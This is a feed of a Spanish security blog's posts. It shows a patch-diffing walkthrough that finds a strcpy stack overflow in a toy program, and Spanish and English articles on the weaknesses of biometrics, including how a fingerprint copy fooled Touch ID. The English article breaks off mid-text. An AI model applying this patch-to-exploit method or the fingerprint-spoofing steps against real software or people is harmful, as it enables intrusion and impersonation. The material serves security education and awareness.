Smoke & Mirrors//antoniorodriguez.es/2015-05-26T00:00:00+02:00La importancia del lenguaje, binary diffing y otras historias de “día uno”2015-05-26T00:00:00+02:00tag:antoniorodriguez.es,2015-05-26:importancia-lenguaje-binary-diffing-otras-historias-dia-uno<p><em>Este artículo lo publiqué originalmente en el</em> <a class="reference external" href="https://www.incibe.es/blogs/post/Seguridad/BlogSeguridad/Articulo_y_comentarios/importancia_lenguage_binary_diffing_historias_dia_uno">blog de seguridad de INCIBE</a>.</p> <p>El papel del lenguaje en una profesión es importante. Cualquier disciplina genera su propio lenguaje técnico a medida que evoluciona y se hace más compleja, ya que es un mecanismo con el cual profesionales del mismo campo pueden intercambiar conocimientos e interactuar de forma <strong>concisa, precisa y sin ambigüedades</strong>.</p> <p>Incluso dentro de una disciplina aparecen subdisciplinas, como el caso de la informática, que abarca tantas cosas diferentes que se hace necesario crear especialidades, cada una con su propio lenguaje técnico.</p> <p>Nuestra especialidad es la <strong>seguridad de la información</strong>, y es un campo tan diverso que su lenguaje también lo es.</p> <p>Sin embargo, esta especialidad ha tenido un boom en interés y complejidad en un espacio muy corto de tiempo, y esto genera un problema: se convierte en una moda, y ello afecta a una correcta evolución de la misma (donde el marketing se impone sobre el desarrollo tecnológico).</p> <p>Al ser algo muy mediático (ataques informáticos, hackers, espionaje,.. son temas muy apetecibles para la prensa), se empieza a utilizar el lenguaje propio de la profesión de forma indiscriminada, y a menudo (muy a menudo) se hace de forma incorrecta, llegando incluso a inventarse términos que no existen o que son, cuanto menos, semánticamente incorrectos.</p> <p>Del mismo modo, solo las técnicas más accesibles o más populares se destacan y promocionan ("conviertase en un especialista utilizando Metasploit", "aprenda a analizar malware sin esfuerzo"), relegando a un segundo plano los conocimientos fundamentales sobre computación o arquitectura de procesadores necesarios para comprender lo que se está haciendo ("la matemática no vende"). Y esto se hace <strong>incluso en cursos de formación</strong>.</p> <p>Esto genera mucho ruido, y un profesional (especialmente los que empiezan) corre el riesgo de aprender conceptos de forma incorrecta o de <strong>estancarse en conocimientos superficiales</strong> si no es capaz de profundizar sin distraerse con toda esa información que está en candelero.</p> <p>A esto ha contribuído el haber caído en el uso excesivo de buzzwords, o la reciente moda de poner nombre a vulnerabilidades (shellshock, heartbleed, o la reciente venom) para venderlas como un gran descubrimiento o una peligrosidad excepcional, cuando la realidad es que no son más importantes que cualquier otra vulnerabilidad o amenaza (de hecho, suelen ser bastante "simples").</p> <p>El caso que vamos a tratar en este artículo, como ejemplo de como el mal uso del lenguaje técnico (o el uso del mismo para hacer marketing) puede distraer nuestra atención de lo importante, es el de las <a class="reference external" href="http://es.wikipedia.org/wiki/Ataque_de_d%C3%ADa_cero">vulnerabilidades 0day</a>, término utilizado para referirse a vulnerabilidades para las cuales no se conocen los detalles, y por tanto no existe todavía un parche.</p> <p>Debido al tirón mediático que tiene la palabra 0day, tenemos la falsa percepción de que una vulnerabilidad de este tipo es muy peligrosa. Frente a esto, da la sensación de que una vulnerabilidad “común” no lo es tanto porque no se escucha hablar de ella hasta que aparece en el changelog de un parche, especialmente cuando se ha hecho responsible disclosure y solo el fabricante dispone de los detalles de la misma (en muchas ocasiones parcheando en silencio y ocultando su criticidad al público general, lo cual es una práctica, cuanto menos, discutible).</p> <p>La realidad, es que cualquier vulnerabilidad es peligrosa. Y en muchas ocasiones las vulnerabilidades parcheadas (llamémosles “1-day” para ilustrar lo innecesario del término) son más peligrosas incluso que las desconocidas, ya que no se les presta la misma atención por considerarlas corregidas, pero un posible atacante ya conoce los detalles de la misma.</p> <p>Inconscientemente, <strong>se les resta importancia porque no son 0day</strong>.</p> <p>A continuación, veremos un ejemplo práctico de como un atacante puede aprovechar esa sensación de "menor prioridad" a la hora de parchear un sistema.</p> <div class="section" id="binary-diffing"> <h2>Binary diffing</h2> <p>La diferencia binaria, o más concretamente, diferencia de código (program diffing) es una técnica clásica de ingeniería inversa en la que se comparan dos archivos a nivel binario o a nivel de instrucciones, en busca de diferencias. O lo que es lo mismo, qué ha cambiado un archivo respecto al otro.</p> <p>Para ello se emplean diferentes heurísticas de búsqueda que generarán unos resultados significativos dentro del contexto que queremos analizar, como pueden ser diferencias entre nombres de una misma función, diferencias entre series de instrucciones, <a class="reference external" href="http://en.wikipedia.org/wiki/Function_prologue">prólogos de funciones</a>, etc.</p> <p>Existen diversas herramientas y plugins diseñados para esta tarea, como <a class="reference external" href="http://www.darungrim.org/">DarumGrim</a>, <a class="reference external" href="http://www.zynamics.com/bindiff.html">Zynamics Bindiff</a>, o el reciente <a class="reference external" href="http://joxeankoret.com/blog/2015/03/13/diaphora-a-program-diffing-plugin-for-ida-pro/">Diaphora</a>, un plugin open source para IDA Pro, desarrollado por el investigador Joxean Koret y que utilizaremos en la demo de este artículo.</p> <p>Este tipo de técnicas son muy útiles para algunas tareas, como descubrir qué nuevas funcionalidades o mejoras se han realizado sobre un software, o para comprobar si el nuevo parche es compatible con la arquitectura que tengamos montada (y así evitar que el parche “rompa” algo), aunque el caso que nos atañe es la identificación de vulnerabilidades ya corregidas, comparando la antigua versión vulnerable con la nueva ya parcheada.</p> <p>Esto tiene aplicaciones legítimas, como puede ser la generación de firmas para un IDS o un antivirus, pero también es un método muy utilizado para descubrir vulnerabilidades que no han sido reveladas públicamente y sacar ventaja de ello.</p> <p>Para ilustrar cómo se hace esto, hemos creado un sencillo programa que consta de dos componentes, <strong>prog.exe</strong> y <strong>utils.dll</strong>.</p> <p>Dicho programa toma como argumento la ruta a un archivo de texto, y muestra por pantalla los 8 primeros caracteres.</p> <p>Más tarde, se nos proporciona un parche para el mismo, el cual incluye una nueva versión de <strong>utils.dll</strong>, y cuyo <em>changelog</em> reza:</p> <p>"<em>Versión 1.2: Se corrige un error que causaba inestabilidad en el programa</em>"</p> <p>Esto no nos dice mucho, y parece poco transparente. ¿A qué se refieren con inestabilidad?</p> <p>Dado que el parche solo trae un nuevo <strong>utils.dll</strong>, está claro que la corrección se ha hecho sobre ese archivo, así que vamos a compararlo con el archivo original y comprobar qué se ha cambiado en el código.</p> <p>Abrimos en IDA el utils.dll original, y lanzamos el script Diaphora, para generar la base de datos sqlite que utilizará el script para hacer su trabajo.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Diaphora" src="//antoniorodriguez.es/posts/importancia-lenguaje-binary-diffing-otras-historias-dia-uno/diaphora1.jpg"/></div> <p>Ahora que ya tenemos la BBDD para el archivo original, abrimos el nuevo, y repetimos la operación, excepto que esta vez ya lanzaremos el proceso de diffing, proporcionando el sqlite del original.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Diff assembly" src="//antoniorodriguez.es/posts/importancia-lenguaje-binary-diffing-otras-historias-dia-uno/diaphora2.jpg"/></div> <p>El script nos abrirá varias pestañas, y la que nos interesa en este caso es “Best matches”. Llama a atención que la función <strong>utils_1</strong>, concuerda en nombre para ambos archivos, pero solo en eso.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Best match" src="//antoniorodriguez.es/posts/importancia-lenguaje-binary-diffing-otras-historias-dia-uno/bestmatch.jpg"/></div> <p>Ejecutando de nuevo el script, esta vez marcando “Ignore all function names”, podemos comprobar que efectivamente, para la función <strong>utils_1</strong> no coincide el código entre ambos archivos.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Unmatched" src="//antoniorodriguez.es/posts/importancia-lenguaje-binary-diffing-otras-historias-dia-uno/unmatched.jpg"/></div> <p>Es el momento de comparar ambas funciones para analizar en detalle qué ha cambiado en el código cuando aplicamos el parche.</p> <div class="figure align-center" style="width: 520px"> <div class="imgwrap drop-shadow curved curved-vt-2"><img alt="Diff assembly in a graph" src="//antoniorodriguez.es/posts/importancia-lenguaje-binary-diffing-otras-historias-dia-uno/diff.jpg"/></div> <p class="caption">Diff assembly in a graph A la izquierda la función original; a la derecha el código parcheado</p> </div> <div class="figure align-center" style="width: 520px"> <div class="imgwrap drop-shadow curved curved-vt-2"><img alt="Diff assembly" src="//antoniorodriguez.es/posts/importancia-lenguaje-binary-diffing-otras-historias-dia-uno/asmdiff.jpg"/></div> <p class="caption">Diff assembly A la izquierda el código original, a la derecha el código parcheado</p> </div> <p>Ya que la función no es demasiado compleja, antes de estudiar el código modificado, vamos a ver qué es lo que hace la función, para así tener la foto completa, lo cual nos será útil para entender el porqué de la corrección.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Función" src="//antoniorodriguez.es/posts/importancia-lenguaje-binary-diffing-otras-historias-dia-uno/funcion.jpg"/></div> <p>Con un vistazo rápido observamos que la función <strong>utils_1</strong> prepara el stack frame para dos arrays de 8 bytes (<em>var_8</em> y <em>var_10</em>) y abre un archivo en modo lectura (presumiblemente el archivo que pasamos al programa como argumento) para a continuación cargar 8 bytes (tomados del fichero) en <em>var_8</em> con <strong>fread</strong>.</p> <p>Si reconstruimos el código en C:</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Código sin parchear" src="//antoniorodriguez.es/posts/importancia-lenguaje-binary-diffing-otras-historias-dia-uno/code1.jpg"/></div> <p>Veamos ahora el código que ha cambiado con el parche:</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Código parcheado" src="//antoniorodriguez.es/posts/importancia-lenguaje-binary-diffing-otras-historias-dia-uno/patched.jpg"/></div> <p>No es más que una llamada a <strong>strncpy_s</strong> para copiar el contenido de <em>var_8</em> en <em>var_10</em>. Esto ya nos da una pista importante de por dónde van los tiros acerca de la vulnerabilidad, aunque no adelantemos acontecimientos.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Código parcheado" src="//antoniorodriguez.es/posts/importancia-lenguaje-binary-diffing-otras-historias-dia-uno/code2.jpg"/></div> <p>Estudiemos ahora el código original (el que ha sido reemplazado por <strong>strcpy_s</strong>):</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Código sin cambiar" src="//antoniorodriguez.es/posts/importancia-lenguaje-binary-diffing-otras-historias-dia-uno/unchanged.jpg"/></div> <p>Esta rutina va copiando byte a byte los valores del primer array en el segundo, hasta encontrar un byte nulo (‚0’), utilizado comúnmente como terminador de cadena.</p> <p>O lo que es lo mismo, se trata de un <strong>strcpy</strong> (función conocida por carecer de mecanismos para prevenir desbordamientos), la cual si no encuentra un nulo en el segundo parámetro seguirá copiando bytes y sobrescribiendo valores de la pila más allá de sus límites, provocando eventualmente un clásico buffer overflow.</p> <p>Hemos descubierto que lo que corrige este parche es una vulnerabilidad desencadenada por el uso incontrolado de la función <strong>fread</strong>. Dicha función copia los 8 primeros bytes del archivo en un array, pero no añade el caracter terminador (null) al final del mismo. Esto provocará un desbordamiento en <strong>strcpy</strong> al intentar copiar dicho array en el otro.</p> <p>Conociendo esta información, escribir un exploit es relativamente trivial; utilizando un archivo cuidadosamente diseñado con un payload y pasándoselo como parámetro nos permitiría ejecutar nuestro propio código.</p> <p>Para comprobar que efectivamente se produce un desbordamiento de pila, vamos a pasarle a <strong>prog.exe</strong> un archivo con un tamaño superior a los 8 bytes.</p> <div class="figure align-center" style="width: 520px"> <div class="imgwrap drop-shadow curved curved-vt-2"><img alt="Programa parcheado" src="//antoniorodriguez.es/posts/importancia-lenguaje-binary-diffing-otras-historias-dia-uno/nopetada.jpg"/></div> <p class="caption">Programa parcheado</p> </div> <div class="figure align-center" style="width: 520px"> <div class="imgwrap drop-shadow curved curved-vt-2"><img alt="Programa sin parchear" src="//antoniorodriguez.es/posts/importancia-lenguaje-binary-diffing-otras-historias-dia-uno/petada.jpg"/></div> <p class="caption">Programa sin parchear</p> </div> <p>Este ejemplo es extremadamente simple; en un caso real nos encontraríamos con otras dificultades que hacen el trabajo un poco más complicado:</p> <ul class="simple"> <li>Mayor cantidad de diferencias en el código (optimizaciones diferentes según compilador,…)</li> <li>Otros bugfixes ajenos a las vulnerabilidades, los cuales habrá que descartar</li> <li>Código ofuscado, el cual requiere un esfuerzo extra para entender el código</li> <li>Técnicas anti-disassembly o anti-diffing</li> <li>...</li> </ul> <p>Además, por supuesto, de las protecciones habituales como <a class="reference external" href="http://es.wikipedia.org/wiki/Prevenci%C3%B3n_de_ejecuci%C3%B3n_de_datos">DEP</a>, <a class="reference external" href="http://en.wikipedia.org/wiki/Address_space_layout_randomization">ASLR</a>, <a class="reference external" href="http://en.wikipedia.org/wiki/Buffer_overflow_protection">StackGuard</a> (canary),… que han sido desactivadas para este experimento.</p> <p>Sin embargo para un analista experimentado, encontrar la vulnerabilidad y crear un exploit disponiendo del archivo original y del parche, sigue siendo cuestión de horas, o en el peor de los casos unos pocos días.</p> <p>La ventana de tiempo que transcurre desde que aparece un parche hasta que el usuario final lo aplica, es aprovechada por atacantes para diseccionar esos parches, crear un exploit y atacar a la víctima. Y dicha ventana se alarga en el tiempo por diversas razones (políticas de actualizaciones mal definidas, logística, no estar al día, …), pero sobretodo <strong>porque no se considera dichas vulnerabilidades críticas, y por tanto nos relajamos a la hora de darles importancia</strong>. Y ahí radica el peligro de las vulnerabilidades “normales”, no tanto por la falta de solución, sino por la percepción que se tiene de ellas frente a otras vulnerabilidades más publicitadas como los 0day.</p> </div> La problemática de la biometría como método de autenticación2013-09-25T00:00:00+02:00tag:antoniorodriguez.es,2013-09-25:problematica-biometria-como-metodo-autenticacion<p><em>Este artículo lo publiqué originalmente en el</em> <a class="reference external" href="https://www.incibe.es/blogs/post/Seguridad/BlogSeguridad/Articulo_y_comentarios/problematica_biometria_autenticacion">blog de seguridad de INCIBE</a>.</p> <p>Con el anuncio del nuevo sensor de huellas dactilares en el último smartphone de Apple, el iPhone 5S, los sensores biométricos vuelven a estar bajo escrutinio entre los profesionales de la seguridad de la información.</p> <p>En especial porque el empleo de estas tecnologías entraría de lleno en la electrónica de consumo, y podría convertirse en algo de uso ubicuo para proteger información tan sensible como la que puede contener cualquier teléfono móvil hoy en día.</p> <p>Recientemente la reputada asociación de hackers Chaos Computer Club (CCC) ha sido capaz de burlar el sensor del iPhone 5S, tan solo dos semanas después de la presentación oficial del nuevo teléfono. (Fuente: <a class="reference external" href="http://www.ccc.de/en/updates/2013/ccc-breaks-apple-touchid">CCC breaks Apple TouchID</a>).</p> <p>Con ayuda de una cámara fotográfica digital, es posible obtener una imagen de alta resolución (2400 dpi) de una huella impresa en algún objeto (ej. la propia pantalla del teléfono), tratarla con algún software de retoque fotográfico, y una vez aislados los contornos de la huella, imprimir el negativo de la misma sobre una lámina transparente.</p> <p>Aprovechando que las impresoras laser utilizan tóner y este deja un relieve sobre la lámina, se aplica una película de un material flexible y traslúcido similar a la piel (como el látex), consiguiendo una copia física de la huella original, capaz de desbloquear el dispositivo como si de un dedo se tratase.</p> <p>No es la primera vez que este grupo pone en entredicho la viabilidad de la biometría como método seguro de autenticación, y desde hace varios años recomiendan que sea descartado como tal.</p> <p>Este sencillo método no es más que un indicador de lo que sería posible hacer para burlar dispositivos de este tipo si se dispusiese de recursos tecnológicos avanzados.</p> <div class="section" id="introduccion"> <h2>Introducción</h2> <p>La biometría es el estudio de métodos automáticos para el reconocimiento único de humanos basado en rasgos físicos o conductuales intrínsecos a las personas.</p> <p>Los rasgos biométricos, como huellas dactilares, iris o retina oculares, voz, o incluso los latidos del corazón y las expresiones faciales, proporcionan beneficios en sistemas de identificación, tanto en comodidad y facilidad de uso, como en sus características inequívocas para cada persona.</p> <div class="figure align-center" style="width: 600px"> <div class="imgwrap drop-shadow curved curved-vt-2"><img alt="Huellas digitales" src="//antoniorodriguez.es/posts/problematica-biometria-como-metodo-autenticacion/huellabiometrica.jpg"/></div> <p class="caption">Una huella puede ser escaneada con diversas tecnologías: Óptica, Ultrasónica, Capacitiva,…</p> </div> <p>Se utilizan multitud de algoritmos para obtener un valor inequívoco a partir de la imagen, basándose en características reconocibles, como patrones geométricos, distancias entre puntos, presión de los relieves, etc.</p> <p>Una huella puede ser escaneada con diversas tecnologías: Óptica, Ultrasónica, Capacitiva,…</p> <p>Se utilizan multitud de algoritmos para obtener un valor inequívoco a partir de la imagen, basándose en características reconocibles, como patrones geométricos, distancias entre puntos, presión de los relieves, etc.</p> <p>Las aplicaciones prácticas de la biometría son muy diversas y no solo se aplican al terreno de la seguridad. Sin embargo en este último campo no son tan robustas como a priori pudiese parecer.</p> <p>En el imaginario colectivo tenemos la idea de que este tipo de sistemas son el futuro; tecnología muy avanzada y de alta seguridad.</p> <p>El cine nos ha acostumbrado a ver como escáneres retinales, controles por voz o apertura de puertas apoyando la mano sobre un panel brillante son el pan de cada día en los lugares más restringidos y vanguardistas del mundo, a donde solo los villanos más exquisitos son capaces de acceder.</p> <p>Sin embargo, nada más lejos de la realidad: si bien la biométrica es un gran apoyo para mejorar la seguridad de nuestra información, solo lo es <strong>si se utiliza como segundo factor de autenticación</strong> junto con una contraseña u otro mecanismo.</p> <p>Cuando solo se utiliza un solo factor, «algo que sabes» (una contraseña) sigue siendo más seguro que «algo que eres» (biometría).</p> <p>Aunque se desarrollen sistemas biométricos avanzados que a priori no pueden ser burlados, nada garantiza que pasado un tiempo sigan siendo seguros, ya que la tecnología avanza rápidamente, y recursos técnicos que hoy serían impensables para un posible atacante, mañana podrían estar al alcance de cualquier persona. Pero nuestros rasgos seguirán siendo los mismos y ya los habríamos perdido.</p> </div> <div class="section" id="el-problema"> <h2>El problema</h2> <p><strong>Desde el punto de vista de un atacante</strong>, los problemas que presentan los rasgos biométricos a la hora de utilizarlos como reemplazo (y no como apoyo) a las contraseñas actuales, son los siguientes:</p> <ol class="arabic"> <li><p class="first">Son Únicos, Permanentes e Irrevocables</p> <p>Aunque una de sus ventajas iniciales es que son rasgos únicos e intrínsecos a cada persona, no pueden ser reemplazados, lo que implica que una vez alguien es capaz de replicarlos <strong>no es posible revocarlos y obtener unos nuevos</strong>, lo cual si es posible con una contraseña o un token.</p> <p>Esto genera además otro problema. Al haber sido comprometida nuestra huella, podría ser usada para acceder a cualquier otro servicio o dispositivo en el que haya sido utilizada como credencial, lo que rompe con dos de las máximas en seguridad: <strong>utilizar una contraseña diferente para cada servicio o dispositivo</strong> (de forma que si alguien compromete uno de ellos, no pueda acceder al resto) y <strong>cambiarlas regularmente</strong>.</p> </li> <li><p class="first">Son públicos, y su obtención es relativamente sencilla</p> <p>A diario dejamos nuestras <strong>huellas</strong> impresas en todas partes (lo que equivaldría a ir escribiendo nuestra contraseña cada vez que se abre una puerta, se coge un vaso, o nos sujetamos en el asidero de un autobús)</p> <ul> <li><p class="first">Las cámaras fotográficas y videocámaras actuales disponen de una gran resolución y sus ópticas permiten hacer zoom a grandes distancias, por lo que cualquier persona puede disponer de equipamiento para fotografiar nuestros <strong>ojos</strong> en la calle, desde grandes distancias y con un nivel de detalle excepcional.</p> <p>Con técnicas más avanzadas (ej., mediciones fotométricas), o incluso con tecnologías oftalmológicas corrientes, sería posible medir otros parámetros, como curvatura del ojo, reflectividad, presión intraocular,...</p> </li> <li><p class="first">La <em>voz</em> de una persona puede ser grabada fácilmente en un bar, a través del teléfono o una videoconferencia, y con el equipo adecuado, desde grandes distancias.</p> <p>La tecnología de reconocimiento y síntesis de voz está muy avanzada, y existen programas software (inicialmente diseñados para la industria musical) que permiten sintetizar frases nuevas a partir de unas cuantas sílabas sueltas, emulando incluso diferentes inflexiones y timbres vocales.</p> </li> <li><p class="first">El movimiento corporal y <em>expresiones</em> faciales son fácilmente capturables con tecnologías como las utilizadas en el cine (Markerless Mocap: captura de movimiento sin marcadores), o los videojuegos (Xbox Kinetic, PlayStation Eye), hoy en día accesibles fácilmente a cualquier persona.</p> </li> </ul> <div class="figure align-center" style="width: 650px"> <div class="imgwrap drop-shadow curved curved-vt-2"><img alt="Body mocap" src="//antoniorodriguez.es/posts/problematica-biometria-como-metodo-autenticacion/mocap.jpg"/></div> <p class="caption">Tecnologías de motion capture sin marcadores.</p> </div> <p>Estos son solo unos pocos ejemplos de lo sencillo que es obtener los rasgos biométricos de una persona empleando técnicas realistas.</p> </li> <li><p class="first">Son replicables con facilidad</p> <p>Tal y como se ha demostrado con las huellas digitales, prácticamente cualquier cualidad física o motora es reproducible con mayor o menor esfuerzo, ya que la información que se obtiene es paramétrica (basada en patrones), independientemente de la complejidad de los mismos.</p> <p>Todo patrón es replicable si se dispone de las herramientas adecuadas, ya que no hay un componente aleatorio o entrópico como se puede encontrar en muchos algoritmos matemáticos utilizados en criptografía.</p> <p>Fuentes:</p> <p><a class="reference external" href="http://media.blackhat.com/bh-us-12/Briefings/Galbally/BH_US_12_Galbally_Iris_Reconstruction_WP.pdf">Reconstrucción de Iris (inglés)</a></p> <p><a class="reference external" href="http://dasalte.ccc.de/biometrie/fingerabdruck_kopieren?language=en">Reconstrucción de huellas digitales (inglés)</a></p> </li> <li><p class="first">No se pueden denegar Memorizando una contraseña, es muy difícil que alguien pueda forzar a otra persona a revelarla contra su voluntad. Ya sea con una negación explícita, o utilizando la negación plausible (generando una situación en la que es imposible demostrar lo contrario, como «la he olvidado»).</p> <p>Sin embargo, sí es posible ser forzado físicamente a utilizar nuestro dedo para desbloquear un acceso, por lo que el empleo de este tipo de autenticación añade una amenaza, no solo a la seguridad de la información, si no a la <strong>integridad física de la persona</strong>, que podría ser agredida o secuestrada para obtener sus credenciales.</p> </li> <li><p class="first">Pueden ser robados por medios fuera del control del propietario</p> <p>La información extraída de un rasgo biométrico debe ser almacenada en algún tipo de base de datos, independientemente del formato que se utilice. Esto abre las puertas a que no solo se puedan robar físicamente, sino también comprometiendo el lugar donde se almacenan esos datos, ya sea:</p> <ul class="simple"> <li>Con ingeniería inversa sobre el dispositivo electrónico donde se almacena (microchip, memoria,…)</li> <li>Comprometiendo la seguridad de un servidor o base de datos donde pudiese estar guardada.</li> </ul> <p>No sería necesario obtener la imagen de una huella, puesto que los datos extraídos y almacenados de ella (ya sean patrones, geometría o hashes) son potencialmente susceptibles de ser utilizados, o bien para ser inyectados directamente en el sistema sin pasar por el sensor, o para, previo análisis del algoritmo de generación, realizar una reconstrucción de la misma.</p> </li> <li><p class="first">Estos sistemas presentan una superficie de ataque muy amplia</p> <p>Comprometer un sistema biométrico no se reduce a ataques con tecnología informática. Juegan un papel muy importante como vectores potenciales de ataque campos tan dispares como:</p> <ul class="simple"> <li><strong>Audiovisual</strong>: Técnicas que se utilizan en el cine o la radio para engañar a nuestros sentidos y crear una ilusión, pueden ser empleadas también para burlar un sistema electrónico mucho más fácilmente.</li> <li><strong>Medicina</strong>: Se pueden alterar características fisiológicas, como el pulso, la presión arterial, las pupilas de los ojos…</li> <li><strong>Mecánica</strong>: Tecnologías como la robótica pueden emular comportamientos humanos.</li> <li><strong>Química</strong>: Desarrollar compuestos que simulan la piel (como el latex), acuosidad ocular,…</li> <li><strong>Artesanía</strong>: Se pueden fabricar objetos que simulen de forma realista características humanas (como la forma de una cara).</li> <li><strong>Electrónica</strong>: El hardware es tan vulnerable como el software cuando se tiene acceso físico a el.</li> <li><strong>Física aplicada</strong></li> </ul> <p>Entre otros.</p> <p>Esto significa que es complicado predecir qué tipo de ataque podría afectar a un sistema biométrico concreto.</p> </li> </ol> <div class="figure align-center" style="width: 450px"> <div class="imgwrap drop-shadow curved curved-vt-2"><img alt="Anatomía del iris" src="//antoniorodriguez.es/posts/problematica-biometria-como-metodo-autenticacion/anatomiairis.jpg"/></div> <p class="caption">Al igual que las huellas digitales, el iris ocular también muestra diversas características reconocibles de las que extraer patrones biométricos.</p> </div> </div> <div class="section" id="conclusiones"> <h2>Conclusiones</h2> <p>La utilización de mecanismos biométricos de consumo pretende solventar un problema de conveniencia, en detrimento de la seguridad.</p> <p>Hoy en día todavía hay mucha gente que no configura una contraseña en sus móviles, tabletas u ordenadores por la incomodidad de teclearla cada vez que se utilizan.</p> <p>Emplear una huella u otros rasgos biométricos para solucionarlo, aunque facilita la usabilidad, no es el modo más adecuado, ya que además de los problemas descritos anteriormente, <strong>fomenta que el usuario final no tome conciencia de la importancia de mantener su información segura, y olvide las buenas prácticas</strong> en materia de privacidad, como acostumbrarse a memorizar buenas contraseñas, utilizar una para cada servicio, cambiarlas a menudo, o evitar apuntarlas y utilizarlas en lugares donde puedan ser copiadas.</p> <p>Por todo ello, <strong>es recomendable limitar el uso de tecnologías biométricas a aplicaciones donde la seguridad y la privacidad no sean una prioridad, y en caso de serlo, emplearlas únicamente en sistemas de autenticación de doble factor</strong>.</p> </div> The issue of biometrics as an authentication method2013-09-25T00:00:00+02:00tag:antoniorodriguez.es,2013-09-25:en/the-issue-of-biometrics-as-an-authentication-method<p><em>This article was originally published on</em> <a class="reference external" href="https://www.incibe.es/blogs/post/Seguridad/BlogSeguridad/Articulo_y_comentarios/problematica_biometria_autenticacion">INCIBE security blog</a>.</p> <p>With the announcement of the new fingerprint sensor in the latest smartphone from Apple, the iPhone 5S, biometric sensors are again under scrutiny among information security professionals.</p> <p>Especially because the use of these technologies is becoming popular for consumer grade electronics, and its use use could become ubiquitous for something made to protect sensitive data, like information found in any mobile phone nowadays.</p> <p>Recently, Chaos Computer Club (CCC) has been able to circunvent the sensor on iPhone 5S, just two weeks after the official presentation of the new phone (Source: <a class="reference external" href="http://www.ccc.de/en/updates/2013/ccc-breaks-apple-touchid">CCC breaks Apple TouchID</a>).</p> <p>Using a digital camera, it is possible to obtain a high-resolution (2400 dpi) pciture of a fingerprint on an object (for example, the phone screen itself); manipulate it with a photo editing software, and once the contours are isolated, print them as a negative on a transparent sheet.</p> <p>Leveraging toner properties of laser printers (it leaves an emboss) is possible to apply a film of a flexible and translucent material similar to the skin (such as latex), getting a physical copy of the original fingerprint able to unlock the device as if it were a finger.</p> <p>It is not the first time this group calls into question the viability of biometrics as a secure method of authentication, and recommend several years to be dismissed as such.</p> <p>This simple method is only an indicator of what would be possible to circumvent such devices if advanced technological resources were available.</p> <div class="section" id="introduction"> <h2>Introduction</h2> <p>Biometrics are the study of automated methods for recognizing humans based only on people intrinsic physical or behavioral traits.</p> <p>Biometric features such as fingerprints, eye iris or retina, voice, or even heartbeat and facial expressions provide benefits in identification systems, both in comfort and usability, as in their unequivocal characteristics for each person.</p> <div class="figure align-center" style="width: 600px"> <div class="imgwrap drop-shadow curved curved-vt-2"><img alt="Huellas digitales" src="//antoniorodriguez.es/posts/problematica-biometria-como-metodo-autenticacion/huellabiometrica.jpg"/></div> <p class="caption">A fingerprint can be scanned with different technologies: Optics, Ultrasonic, Capacitive, ...</p> </div> <p>Many algorithms are used to obtain an unambiguous value from the image, based on recognizable features, such as geometric patterns, distances between points, pressure emboss, etc.</p> <p>The practical applications of biometrics are diverse and not only applied to the field of security. However, in this field are not as robust as a priori might seem.</p> <p>We have the preconceived idea that such systems are the future; very advanced and highly secure technology.</p> <p>We are used to see in films how retinal scanners, voice controls or door openers resting hand on a bright panel are common in the most restricted and trendy places in the world, where only the finest villains are able access.</p> <p>However, nothing could be further from the truth: Although biometrics are a great support to enhance the security of our information, it are only <strong>when used as a second authentication factor</strong> along with a password or another mechanism.</p> <p>If we only were using a single factor, "something you know" (a password) is still safer than 'something you are' (biometrics).</p> <p>Although advanced biometric systems seem unbeatable, there is no guarantee that after some time remain will remain safe, as technology advances rapidly, and technical resources that would be unthinkable today for a possible attacker, tomorrow could be available for everyone. But our features will remain the same and can be lost forever.</p> </div> <div class="section" id="the-issue"> <h2>The issue</h2> <p><strong>From the point of view of an attacker</strong>, the problem of biometric features when used as replacement (and not as a support) to the current passwords, are:</p> <ol class="arabic"> <li><p class="first">Are Unique, Permanent and Irrevocable</p> <p>Although one of its initial advantages is that are unique and intrinsic to each person, they can not be replaced, which means that once someone is able to replicate <strong>there is no way to revoke them, and generate a new one</strong>, unlike with a password or token.</p> <p>This also generates another problem. If our fingerprint is compromised, it could be used to access any service or device on which it has been used as a credential. That breaks with two of the security rules: <strong>use a different password for each service or device</strong> (so if someone steals one of them, he will not be able to access the other) and <strong>change them regularly</strong>.</p> </li> <li><p class="first">They are public, and their acquisition is relatively simple</p> <p>We leave our <strong>fingerprint</strong> printed everywhere every day (which is equivalent to being writing our password every time we open a door, we take a glass, or we hold the handle of a bus).</p> <ul> <li><p class="first">Today cameras and camcorders have great resolution and their optical zoom allows long distances, so anyone can have the equipment to photograph our <strong>eyes</strong> on the street from long distances and with an exceptional level of detail.</p> <p>With more advanced techniques (for example, Photometric measurements), or even with current ophthalmology technologies it could be possible to measure other parameters such as curvature of the eye, reflectivity, intraocular pressure, ...</p> </li> <li><p class="first">The <strong>voice</strong> of a person can be easily recorded in a bar, via telephone or video conference, and with the right equipment, from long ranges.</p> <p>Recognition and speech synthesis technology is well advanced, and there is software (initially designed for the music industry) that allows to synthesize new sentences from a few scattered syllables, even emulating different inflections and vocal timbres.</p> </li> <li><p class="first">Body movements and facial <strong>expressions</strong> can be easily captured with technologies used in films (Markerless Mocap: motion capture without markers), or video games (Xbox Kinetic, PlayStation Eye), accessible to anyone nowadays.</p> </li> </ul> <div class="figure align-center" style="width: 650px"> <div class="imgwrap drop-shadow curved curved-vt-2"><img alt="Body mocap" src="//antoniorodriguez.es/posts/problematica-biometria-como-metodo-autenticacion/mocap.jpg"/></div> <p class="caption">Markerless motion capture technologies</p> </div> <p>These are just a few examples of how easy it is to obtain the biometric features of a person using reallistic techniques.</p> </li> <li><p class="first">Are easily replicable</p> <p>As demonstrated with fingerprints, virtually any physical or motor feature is reproducible because the information obtained is parametric (based on patterns), regardless of their complexity.</p> <p>Every pattern is replicable if you have the right tools, because there is no random or entropic component as can be found in many mathematical algorithms used in cryptography.</p> <p>Sources:</p> <p><a class="reference external" href="http://media.blackhat.com/bh-us-12/Briefings/Galbally/BH_US_12_Galbally_Iris_Reconstruction_WP.pdf">Iris reconstruction</a></p> <p><a class="reference external" 